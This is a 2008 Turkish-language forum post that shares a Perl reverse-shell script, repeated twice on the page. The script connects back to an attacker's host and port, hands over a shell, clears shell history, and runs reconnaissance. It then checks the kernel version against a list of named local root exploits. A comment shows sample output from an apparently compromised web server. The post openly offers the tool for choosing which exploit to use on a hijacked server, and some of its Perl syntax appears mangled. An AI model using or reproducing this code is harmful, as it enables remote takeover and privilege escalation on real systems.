Back Connect Tools And Local Exploit Checker

**DArKNESS®** · 01-30-2008

Arkadaslar Bu scri*t Back Connect ve sonrasinda bulundugunuz server icin hangi exploiti kullanmainiz gerektigini size bildiriyor.

PHP- Kodu:
Alıntı:
#!/usr/bin/perl

# 2005 - 2007
# BackConnectShell + Rootlab t00l
#
# Backconnect by data cha0s (modificada por D.O.M)
# r00t l4b by D.O.M
#
# ka0x:~/Desktop # ./nc -lvvp 8600
# listening on [any] 8600 ...
# 66.232.128.123: inverse host lookup failed: h_errno 11004: NO_DATA
# connect to [00.00.00.00] from (UNKNOWN) [66.232.128.123] 40444: NO_DATA

# ******* ConnectBack Shell *******

# Linux version 2.6.9-022stab078.14-smp (root@kern268.build.sw.ru) (gcc version 3.
# 3.3 20040412 (Red Hat Linux 3.3.3-7)) #1 SMP Wed Jul 19 14:26:20 MSD 2006
# apache
# uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2523(psaserv)
# /home/httpd/vhosts/holler.co.uk/httpdocs/datatest

# Kernel local:
# 2.6.9-022stab078.14-smp

# P0sible 3xploit: exp.sh
# P0sible 3xploit: krad3
# P0sible 3xploit: newsmp
# P0sible 3xploit: ptrace_kmod
# P0sible 3xploit: py2
# P0sible 3xploit: ong_bak
# P0sible 3xploit: prctl3
# P0sible 3xploit: prctl
# P0sible 3xploit: kmdx
# P0sible 3xploit: pwned
#
# sh: no job control in this shell
# sh-2.05b$

use IO::Socket;
use Socket;
use FileHandle;

$system = '/bin/bash';
if(!$ARGV[0])
{
print "\nBackConnect Shell - D.O.M TEAM\n\n";
print "Usage: perl $0 [IPHOST] [NCPORT]\n";
print "Example: perl $0 82.85.55.21 6850\n\n";
exit;
}

socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) ||
die print "[-] Protocolo Desconocido\n";
connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) ||
die print "[-] Error Socket\n";
print "[+] BackConnect Shell\n";
print "[+] Conectando a $ARGV[0]... \n";
print "[+] Enviando Shell... \n";
print "[+] Conectado. \n";
SOCKET->autoflush();
open(STDIN, ">&SOCKET");
open(STDOUT,">&SOCKET");
open(STDERR,">&SOCKET");
print "\n******* ConnectBack Shell *******\n\n";
system("unset HISTFILE;unset SAVEHIST ;cat /proc/version;whoami;id;who;pwd");

# Rootkernel

my $khost = `uname -r`;
chomp($khost);
print "\nKernel local: $khost\n\n";

my %h;
$hsd_'w00t' = { vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4. 16','2.4.20'] };
$hsd_'brk' = { vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] };
$hsd_'ave' = { vuln=>['2.4.19','2.4.20'] };
$hsd_'elflbl' = { vuln=>['2.4.29'] };
$hsd_'elfdump' = { vuln=>['2.4.27'] };
$hsd_'expand_stack' = { vuln=>['2.4.29'] };
$hsd_'h00lyshit' = { vuln=>['2.6.8','2.6.10','2.6.11','2.6.12'] };
$hsd_'kdump' = { vuln=>['2.6.13'] };
$hsd_'km2' = { vuln=>['2.4.18','2.4.22'] };
$hsd_'krad' = { vuln=>['2.6.11'] };
$hsd_'krad3' = { vuln=>['2.6.11','2.6.9'] };
$hsd_'local26' = { vuln=>['2.6.13'] };
$hsd_'loko' = { vuln=>['2.4.22','2.4.23','2.4.24'] };
$hsd_'mremap_pte' = { vuln=>['2.4.20','2.2.25','2.4.24'] };
$hsd_'newlocal' = { vuln=>['2.4.17','2.4.19'] };
$hsd_'ong_bak' = { vuln=>['2.4.','2.6.'] };
$hsd_'ptrace' = { vuln=>['2.2.24','2.4.22'] };
$hsd_'ptrace_kmod' = { vuln=>['2.4.','2.6.'] };
$hsd_'ptrace24' = { vuln=>['2.4.9'] };
$hsd_'pwned' = { vuln=>['2.4.','2.6.'] };
$hsd_'py2' = { vuln=>['2.6.9','2.6.17','2.6.15','2.6.13'] };
$hsd_'raptor_prctl' = { vuln=>['2.6.13','2.6.17','2.6.16','2.6.13'] };
$hsd_'prctl3' = { vuln=>['2.6.13','2.6.17','2.6.9'] };
$hsd_'remap' = { vuln=>['2.4.'] };
$hsd_'rip' = { vuln=>['2.2.'] };
$hsd_'stackgrow2' = { vuln=>['2.4.29','2.6.10'] };
$hsd_'uselib24' = { vuln=>['2.4.29','2.6.10','2.4.22','2.4.25'] };
$hsd_'newsmp' = { vuln=>['2.6.'] };
$hsd_'smpracer' = { vuln=>['2.4.29'] };
$hsd_'loginx' = { vuln=>['2.4.22'] };
$hsd_'exp.sh' = { vuln=>['2.6.9','2.6.10','2.6.16','2.6.13'] };
$hsd_'prctl' = { vuln=>['2.6.'] };
$hsd_'kmdx' = { vuln=>['2.6.','2.4.'] };

&busca;
sub busca {
foreach my $key(keys %h){

foreach my $kernel ( @sd_ $hsd_$key{'vuln' } ){

if($khost=~/^$kernel/){
chop($kernel) if ($kernel=~/.$/);
print "P0sible 3xploit: ". $key ."\n";
}
}
}
}
print "\n";
system 'export TERM=xterm;exec sh -i';
system($system);

01-30-2008	#1
DArKNESS® Özel Üye Türkiyenin En Kaliteli Bilgi Paylasim Mekani AKdenizForum.. Kullanıcı Bilgileri Üyelik Tarihi: Aug 2007 Mesajlar: 4.493 Üye No: 25971 Extra Bilgiler Tecrübe Puanı: 29 Rep Gücü : 75 Rep Derecesi : İletişim	Back Connect Tools And Local Exploit Checker Arkadaslar Bu scrit Back Connect ve sonrasinda bulundugunuz server icin hangi exploiti kullanmainiz gerektigini size bildiriyor. PHP- Kodu: Alıntı: #!/usr/bin/perl # 2005 - 2007 # BackConnectShell + Rootlab t00l # # Backconnect by data cha0s (modificada por D.O.M) # r00t l4b by D.O.M # # ka0x:~/Desktop # ./nc -lvvp 8600 # listening on [any] 8600 ... # 66.232.128.123: inverse host lookup failed: h_errno 11004: NO_DATA # connect to [00.00.00.00] from (UNKNOWN) [66.232.128.123] 40444: NO_DATA # **** ConnectBack Shell *** # Linux version 2.6.9-022stab078.14-smp (root@kern268.build.sw.ru) (gcc version 3. # 3.3 20040412 (Red Hat Linux 3.3.3-7)) #1 SMP Wed Jul 19 14:26:20 MSD 2006 # apache # uid=48(apache) gid=48(apache) groups=48(apache),500(webadmin),2523(psaserv) # /home/httpd/vhosts/holler.co.uk/httpdocs/datatest # Kernel local: # 2.6.9-022stab078.14-smp # P0sible 3xploit: exp.sh # P0sible 3xploit: krad3 # P0sible 3xploit: newsmp # P0sible 3xploit: ptrace_kmod # P0sible 3xploit: py2 # P0sible 3xploit: ong_bak # P0sible 3xploit: prctl3 # P0sible 3xploit: prctl # P0sible 3xploit: kmdx # P0sible 3xploit: pwned # # sh: no job control in this shell # sh-2.05b$ use IO::Socket; use Socket; use FileHandle; $system = '/bin/bash'; if(!$ARGV[0]) { print "\nBackConnect Shell - D.O.M TEAM\n\n"; print "Usage: perl $0 [IPHOST] [NCPORT]\n"; print "Example: perl $0 82.85.55.21 6850\n\n"; exit; } socket(SOCKET, PF_INET, SOCK_STREAM, getprotobyname('tcp')) \|\| die print "[-] Protocolo Desconocido\n"; connect(SOCKET, sockaddr_in($ARGV[1], inet_aton($ARGV[0]))) \|\| die print "[-] Error Socket\n"; print "[+] BackConnect Shell\n"; print "[+] Conectando a $ARGV[0]... \n"; print "[+] Enviando Shell... \n"; print "[+] Conectado. \n"; SOCKET->autoflush(); open(STDIN, ">&SOCKET"); open(STDOUT,">&SOCKET"); open(STDERR,">&SOCKET"); print "\n*** ConnectBack Shell ***\n\n"; system("unset HISTFILE;unset SAVEHIST ;cat /proc/version;whoami;id;who;pwd"); # Rootkernel my $khost = `uname -r`; chomp($khost); print "\nKernel local: $khost\n\n"; my %h; $hsd_'w00t' = { vuln=>['2.4.18','2.4.10','2.4.21','2.4.19','2.4.17','2.4. 16','2.4.20'] }; $hsd_'brk' = { vuln=>['2.4.22','2.4.21','2.4.10','2.4.20'] }; $hsd_'ave' = { vuln=>['2.4.19','2.4.20'] }; $hsd_'elflbl' = { vuln=>['2.4.29'] }; $hsd_'elfdump' = { vuln=>['2.4.27'] }; $hsd_'expand_stack' = { vuln=>['2.4.29'] }; $hsd_'h00lyshit' = { vuln=>['2.6.8','2.6.10','2.6.11','2.6.12'] }; $hsd_'kdump' = { vuln=>['2.6.13'] }; $hsd_'km2' = { vuln=>['2.4.18','2.4.22'] }; $hsd_'krad' = { vuln=>['2.6.11'] }; $hsd_'krad3' = { vuln=>['2.6.11','2.6.9'] }; $hsd_'local26' = { vuln=>['2.6.13'] }; $hsd_'loko' = { vuln=>['2.4.22','2.4.23','2.4.24'] }; $hsd_'mremap_pte' = { vuln=>['2.4.20','2.2.25','2.4.24'] }; $hsd_'newlocal' = { vuln=>['2.4.17','2.4.19'] }; $hsd_'ong_bak' = { vuln=>['2.4.','2.6.'] }; $hsd_'ptrace' = { vuln=>['2.2.24','2.4.22'] }; $hsd_'ptrace_kmod' = { vuln=>['2.4.','2.6.'] }; $hsd_'ptrace24' = { vuln=>['2.4.9'] }; $hsd_'pwned' = { vuln=>['2.4.','2.6.'] }; $hsd_'py2' = { vuln=>['2.6.9','2.6.17','2.6.15','2.6.13'] }; $hsd_'raptor_prctl' = { vuln=>['2.6.13','2.6.17','2.6.16','2.6.13'] }; $hsd_'prctl3' = { vuln=>['2.6.13','2.6.17','2.6.9'] }; $hsd_'remap' = { vuln=>['2.4.'] }; $hsd_'rip' = { vuln=>['2.2.'] }; $hsd_'stackgrow2' = { vuln=>['2.4.29','2.6.10'] }; $hsd_'uselib24' = { vuln=>['2.4.29','2.6.10','2.4.22','2.4.25'] }; $hsd_'newsmp' = { vuln=>['2.6.'] }; $hsd_'smpracer' = { vuln=>['2.4.29'] }; $hsd_'loginx' = { vuln=>['2.4.22'] }; $hsd_'exp.sh' = { vuln=>['2.6.9','2.6.10','2.6.16','2.6.13'] }; $hsd_'prctl' = { vuln=>['2.6.'] }; $hsd_'kmdx' = { vuln=>['2.6.','2.4.'] }; &busca; sub busca { foreach my $key(keys %h){ foreach my $kernel ( @sd_ $hsd_$key{'vuln' } ){ if($khost=~/^$kernel/){ chop($kernel) if ($kernel=~/.$/); print "P0sible 3xploit: ". $key ."\n"; } } } } print "\n"; system 'export TERM=xterm;exec sh -i'; system($system); AkdenizForum Toolbar Sitemizi Daha İyi Kullanmak İstiyorsanız Daha Kolaylıkla Sizde İndirin [ÜYE OLMADAN LİNKLERİ GÖREMEZSİNİZ. BURAYA TIKLAYARAK BEDAVA ÜYE OLUN...]**

Seçenekler
Yazdırılabilir şekli göster Sayfayı E-Mail olarak gönder